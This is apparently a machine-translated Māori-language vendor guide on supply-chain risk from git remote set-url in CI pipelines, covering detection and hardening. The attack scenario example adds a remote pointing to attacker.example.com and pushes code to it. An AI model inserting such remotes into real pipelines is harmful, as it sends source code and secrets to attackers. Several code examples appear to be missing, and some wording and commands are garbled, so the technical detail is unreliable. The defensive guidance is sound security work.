Te Mōrearea Huna i Muri i tētahi Whakahau Git Māmā
Mō te nuinga o ngā kaiwhakawhanake, ko te whakahaere i tētahi whakahau pēnei i te git remote set-url origin he rite tonu ki te mahi noa, he taahiraa anō tēnei ki te pupuri i te whirihoranga Git. He maha hoki ngā wā ka whakahaerehia e ngā tuhinga CI ngā whakahau pēnei i te git remote set-url, Git set url for remote, Git remote add rānei ki te tiki, ki te pana rānei i te waehere i te wā e hangaia ana. Engari anei te mōrearea: ki te whakararuraru tetahi kaiwhakaeke i taua whirihoranga (ā-rohe, ā-CI rānei), ka taea e rātou te tuku anō i tō pūtake ki tētahi putunga kino, te haukoti i ngā tohu tuakiri, te werohanga rānei i te pūmanawa kino o te mekameka tuku.
Tauira o tōna whakamahinga:
# Whakamahinga tika
git remote set-url takenga https://github.com/org/project.git
⚠️ Tauira kore haumaru, mō ngā kaupapa mātauranga anake. Kaua e whakamahia i roto i te mahi whakaputa.
Putanga haumaru, pinea, me te manatoko i te pūtake o te putunga
He aha ai? Mena ka whakawhitihia te mana mamao ki tētahi kaihautū e whakahaerehia ana e te kaiwhakaeke, ka tohu ia pana git fetch/git e whai ake nei ki te waehere kino. Me whakamahi i ngā pūtake pono o te waehere pakeke ina taea, ā, karohia ngā URL hihiri kāore i whakamanahia.
Te Whakararuraru a te Whakahaere Mamao i te Hanganga Pipeline
Ka pā kino pea ngā hua kino o tētahi URL mamao Git kua whakarerekētia ki ngā pūnaha aunoa pipelinengā wāhi e whakawhirinakihia pukutia ai ngā tuhinga.
Tauira tauari:
- Ka whakamahia e te tuhinga CI te git remote set-url hei whirihora anō i ngā putunga raraunga i runga i te hihiri.
- Ka werowerohia he taurangi taiao kua takahia (hei tauira, URL tohu, URL repo rānei) ki roto i te tuhinga.
- Ka tiki, ka pana rānei te hanganga i te waehere ki tētahi repo kino.
- Ka whakauru te kaiwhakaeke i ngā tatau papamuri, i ngā whakawhirinakitanga rānei kua whakarerekētia.
⚠️ Tauira kore haumaru, mō ngā kaupapa mātauranga anake. Kaua e whakamahia i roto i te mahi whakaputa.
Putanga haumaru, whakamanahia te $REPO_URL i mua i te whakamahinga (rārangi mā / manatoko xygeni).
aha: Whakamanahia ngā URL repo e haere mai ana ki tētahi rārangi mā e puritia ana (whakamahi rānei xygeni verify --git-origin) i mua i te mahi ki a rātou. Mā tēnei ka ārai i ngā kaiwhakaeke ki te whakakore i ngā taurangi taiao ki te tuku anō pipelines.
Te Kite i ngā Huringa Kore Whakamana i roto i te Whirihoranga Mamao
Kāore a Git e whakatūpato i a koe ina whakarerekētia te mana mamao. Ka aroturukihia wawetia .git/config ā, e tika ana kia tirohia te pono o ngā mea i mua i te hanganga.
Ngā Tikanga Kimi Mahi
Tirohia te whirihoranga Git:
Whakatauritehia te putanga ki ngā URL e tumanakohia ana kua rongoatia ki tētahi tūāpapa haumaru.
whakamana
.git/configpono:Whakatauritehia te checksum ki tētahi paerewa pono.
Whakamanatanga e hangai ana ki te CI:
Tuhipoka mātauranga: Kaua e whakahaere i ngā arowhai pono, i ngā whakahau manatoko rānei me ngā tohu tuakiri roa e whakaatuhia ana i roto i ngā rangitaki, i ngā taiao kore tiaki rānei. Whakamahia ngā tohu tuakiri rangitahi, ngā mea ngaro kua tiakina, ā, karohia te whakahaere i ngā whakahau manatoko hei kaiwhakamahi rangatira mēnā ka taea.
Tohutohu Kimi: Rapua ngā mamao e tohu ana ki ngā rohe kore-tikanga (kāore i te tumanakohia .net, .io, ngā wāhitau IP), ngā ingoa mamao tāruarua, ngā taurangi taiao rānei e whakahaere ana i ngā URL repo me te kore whakamana. Ka ārai te kitenga wawe i te git set-url te whakahaere mai i ngā hanganga poke.
Te Whakapūmau i ngā Takenga Putunga me Guardrails me te Whakamana Hash
Ko te ārai he tikanga mō te whakatinana i ngā mana whakahaere tino pakari mō ngā putunga raraunga ka hangaia e koe. Guardrails tae atu ki te hainatanga, te whakamana i te tohu, me te whakawhāiti i te hunga ka taea te whakarerekē i ngā taurangi CI.
Ngā Tikanga Haumaru mō te Pono o te Whare Putunga
Whakapirihia ngā URL putunga, ngā pūtake pono o te waehere mārō mēnā ka taea:
Whakamanahia ngā hash putunga:
Manatokohia mēnā ka ōrite a HEAD ki tētahi tātaitanga e tumanakohia ana i mua i te hanganga.
⚠️ Tauira kore haumaru, te tā i ngā tohu ki roto i ngā poro rākau (kaua e whakamahia ki te whakaputa).
Putanga haumaru, pānuihia ngā mea ngaro mai i te whare pupuri taonga, ā, kaua rawa e tāia
Rārangi Arowhai Iti: Te Whakahaere Mamao Haumaru Git
- Whakamana te whakamā i te URL mamao, te manatoko rānei.
- Whakamanahia te pono o te .git/config i mua i te hanganga.
- Me hainatia commitngā tohu me ngā tūtohu.
- Whakawhāitihia te hunga ka taea te whakarerekē i ngā taurangi taiao CI.
- Ngā whakahaerenga takiuru o te git remote set-url me te git remote add mō te arotake.
Te whakauru i te Whakamanatanga URL Tautuhi Mamao Git ki roto CI/CD Pipelines
Tāpiri guardrails me te manatoko aunoa hei aukati i te whakahaere mamao i te tīmatanga o te pipeline.
Tauira parepare: tirohia mēnā he tāruarua, he kore whakamana rānei ngā mana mamao
Te Whakapakari i te Whakararuraru i te Mekameka Tuku i roto i ngā Taiao Tiritiri
He tino mōrearea ngā kaiwhakahaere tiritahi me ngā whakahau mamao whakaaetia. Āta karohia ngā whakahau e tāpiri ana i ngā mamao kāore anō kia tirohia i te wā e whakahaerehia ana te mahi.
⚠️ Tauira kore haumaru, te tāpiri i tētahi mamao kaiwhakaeke (kaua e whakamahia).
Putanga haumaru, whakawhāitihia ki ngā rohe kua whakamanahia, ā, whakamahia te –set-url mō ngā pūtake kua whakaaetia anake
Kia mōhio: he pai ake te whakamahi i ngā kōnae wā poto, ā, karohia ngā raraunga tiritahi pumau i waenga i ngā mahi.
Tuhipoka mō ngā kaiwhakahaere: Whakamahia ngā kaiwhakahaere wā poto, motuhake kua hangaia anō mō ia mahi. Ka taea e ngā kōpae tiritahi, ngā keteroki rānei te pupuri i ngā kōnae kua raweketia puta noa i ngā hanganga.
Te whakauru i te URL huinga Git mō te Manatoko Mamao ki roto CI/CD Pipelines
Ko te tiaki i te whakamahinga o te git remote set-url ehara i te mea ko ngā tirotiro ā-ringa anake; engari ko te aunoatanga. Ka taea e ngā rerengamahi DevSecOps hou te whakauru tika i te whakamana ki roto CI/CD pipelines.
Tauira: Whakamanatanga Pono Mamao Aunoa
Mā tēnei whirihoranga ka whakarite kia i mua i te whakahaerenga o tētahi hanganga, o tētahi whakatinanatanga rānei, pipeline whakamana:
- E ōrite ana te URL putunga ki te uara e tumanakohia ana.
- Commit he tika ngā waitohu.
- Kāore i tāpirihia he mana mamao ohorere mā te whakamahi i te git add remote.
Ngā Mana Whakahaere CI Tāpiri
- Pre-commit hooksTirohia mēnā kāore he mea kāore i whakamanahia git remote set-url kei roto i ngā whakahau commits.
- Te whakatinanatanga o te kaupapa here hei waehere: Tautuhia ngā takenga mai kua whakaaetia hei wāhanga o ngā kaupapa here e whakahaerehia ana e te putanga.
- Whakaata whakawhirinakitanga: Tangohia te waehere mai i ngā whakaata ā-roto kua manatokohia, kaua ki ngā pūtake ipurangi tika.
Te aunoa i ēnei arowhai ehara i te mea ka ārai noa i ngā whirihoranga hē engari ka kitea hoki ngā nganatanga whakararuraru i te mekameka tuku i mua i te tukunga o te waehere.
Te Whakapakari i te Whakararuraru i te Mekameka Tuku i roto i ngā Taiao Tiritiri
Ka tāpirihia mai ētahi atu mōrearea e ngā kaiwhakahaere tiritahi, ngā taiao CI rangitahi rānei. Ina tiritahihia ngā rauemi e ngā hanganga maha, ka taea te whakamahi i ngā whakahau git remote set-url, git add remote rānei hei pupuri i ngā mamao kino puta noa i ngā wātū.
Ngā horopaki whakaeke noa
Ka tāpirihia e tētahi tuhinga hanga kua taupatupatuhia he mana mamao hou hei pana i te waehere ki te putunga o te kaiwhakaeke:
tāpirihia te tārua mamao ki te git https://attacker.example.com/repo.git
git push backup matua
- Ko tētahi atu kaupapa e whakahaere ana i runga i te kaihoko CI kotahi e tiki mai ana i tēnei āhua poke.
- Ka turuturu ngā raraunga tairongo pēnei i ngā tohu me ngā taonga hangahanga mā roto i ngā pana kore whakamanatanga.
Ngā Mahi Whakapakari
- Ngā Kaieke Wā Poto: Tautuhi anō i ngā taiao CI i muri i ia hanganga.
- Wehenga Whatunga: Whakawhāitihia ngā waka e haere atu ana ki ngā rohe kua whakaaetia.
- Mana iti rawa: Whakawhāitihia ngā whakaaetanga mō ngā mahi Git i roto i pipelines.
- Waitohu Taonga: Me whakarite kia hainatia, kia manatokohia hoki ngā putanga hanga katoa mā te whakamahi i te pūnaha whakamuna.
Mā te whakakotahi i te wehewehe, te whakamana, me te aroturuki, ka taea e ngā tīma te whakakore i ngā whakaeke e whakamahi ana i te git set url mō te whakahaere mamao.
Whakamana, Aroturuki, me te Aunoa i te Whakawhirinakitanga o te Putunga
Ka taea e te git remote set-url kotahi kua whakamahia hētia, te git add remote rānei kāore anō kia manatokohia te tuku puku i tō tukanga hanga katoa ki tētahi putunga e whakahaerehia ana e te kaiwhakaeke. He angiangi ake te rārangi i waenga i te hua me te takahi i roto i te DevOps i mua, ā, ngā whakaekenga mekameka tuku pūmanawa whakamahia rawatia taua mea.
Hei pupuri i te whakawhirinaki ki a koe pipelines:
- Whakamanahia tonutia ngā pūtake o te putunga.
- Whakamana commit me te hainatanga o ngā taonga tuku iho.
- Whakahohe ngā arowhai pono i ia wāhanga o CI/CD.
Tuhinga rite Xygeni āwhina i ngā tīma DevSecOps ki te kite i ngā whirihoranga hē mamao, te aroturuki i ngā rohe whakawhirinaki o te putunga, me te aukati i ngā mōrearea mekameka tuku e puta mai ana i te whakamahinga hē a Git, i mua i te whai wāhi a ngā mamao kino ki te whakatinana i te waehere.
Whakawhirinaki ki tō tukanga mahi, engari manatokohia tō pūtake. Koinei te huarahi e ārai ai koe i te git remote set-url kia kore ai e huri hei takahi haumarutanga e whai ake nei.
